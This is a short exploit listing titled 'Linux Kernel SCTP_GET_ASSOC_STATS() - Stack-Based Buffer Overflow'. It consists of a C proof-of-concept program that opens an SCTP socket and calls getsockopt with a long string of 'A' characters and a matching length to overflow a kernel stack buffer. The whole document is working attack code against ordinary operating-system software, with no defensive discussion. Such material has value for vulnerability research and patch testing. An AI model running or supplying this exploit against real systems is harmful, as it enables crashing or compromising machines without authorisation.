Linux Kernel 'SCTP_GET_ASSOC_STATS()' - Stack-Based Buffer Overflow



#include <stdio.h>

#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define SCTP_GET_ASSOC_STATS 112
#define SOL_SCTP 132

int main(void)
{
    char *buf = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    socklen_t len = strlen(buf);
    int fd;

    fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    getsockopt(fd, SOL_SCTP, SCTP_GET_ASSOC_STATS, buf, &len);
    return 0;
}